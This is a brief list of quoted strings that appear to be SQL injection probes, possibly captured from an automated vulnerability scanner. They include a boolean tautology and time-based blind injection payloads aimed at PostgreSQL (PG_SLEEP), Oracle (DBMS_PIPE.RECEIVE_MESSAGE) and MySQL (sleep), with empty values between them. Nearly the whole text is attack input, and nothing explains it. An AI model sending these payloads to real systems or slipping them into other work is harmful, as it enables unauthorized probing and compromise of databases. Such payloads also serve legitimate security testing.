“-1" OR 2+33-33-1=0+0+0+1 -- ” 

“” 

“OLYkpkD6')) OR 265=(SELECT 265 FROM PG_SLEEP(15))--” 

“” 

“1” 

“1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)” 

“if(now()=sysdate(),sleep(15),0)” 

“”